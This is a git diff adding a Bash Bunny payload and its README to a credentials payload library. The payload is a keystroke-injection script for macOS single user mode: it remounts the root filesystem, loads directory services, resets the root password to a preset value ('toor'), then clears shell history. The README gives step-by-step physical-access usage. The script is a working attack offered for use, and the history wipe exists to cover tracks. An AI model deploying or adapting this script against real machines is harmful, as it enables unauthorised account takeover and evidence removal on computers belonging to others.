Merge 509fd26e52 into 8d901a02a8

payloads/library/credentials/MacSingleUserPasswd/README.md

@@ -0,0 +1,32 @@
+# MacSingleUserPasswd
+
+* Author: [thehappydinoa](https://github.com/thehappydinoa)
+* Version: Version 1.0.2
+* Target: macOS
+
+## Description
+
+Quickly and efficiently updates the password of a user though the single user mode on macOS.
+
+## Configuration
+
+Update `ACCOUNT` and `PASSWD` accordingly.
+
+## Use
+
+1. Restart the Mac.
+2. Hold `command` and `s` until you see white text on the screen.
+3. Once you come to the `:/ root#` prompt plug in the Bash Bunny. 
+It should look similar to this:
+![Single User Mode](http://cdn2.tekrevue.com/wp-content/uploads/2014/09/single-user-mode.jpg)
+4. When it finishs mounting the root directory `/` it will tell you to `Change switch position now`. At this point you should change the switch position.
+5. When you see the FINISHED LED you can unplug and wait for the machine to restart.
+
+## STATUS
+
+| LED                | Status                                       |
+| ------------------ | -------------------------------------------- |
+| STAGE1             | Mounts root directory                        |
+| STAGE2             | Runs WAIT extension                          |
+| STAGE3             | Loads LaunchDaemons for user management      |
+| FINISH             | Clears history and restarts                  |

payloads/library/credentials/MacSingleUserPasswd/payload.txt

@@ -0,0 +1,36 @@
+#!/bin/bash
+#
+# Title: MacSingleUserPasswd
+# Description: Automatically resets user password on macOS through single user mode
+# Author: thehappydinoa
+# Version: 1.0.2
+# Category: Credentials
+# Target: macOS
+# Attackmodes: HID
+#
+
+## OPTIONS
+ACCOUNT="root"
+PASSWD="toor"
+
+## ATTACK
+LED STAGE1
+ATTACKMODE HID
+Q STRING /sbin/fsck -y\; /sbin/mount -uw /\; echo "Change switch position now"\;
+Q ENTER
+
+LED STAGE2
+WAIT
+
+
+LED STAGE3
+Q STRING launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist\; launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist\; passwd $ACCOUNT\;
+Q ENTER
+Q STRING $PASSWD
+Q ENTER
+Q STRING $PASSWD
+Q ENTER
+LED CLEANUP
+Q STRING history -c\; exit\;
+Q ENTER
+LED FINISH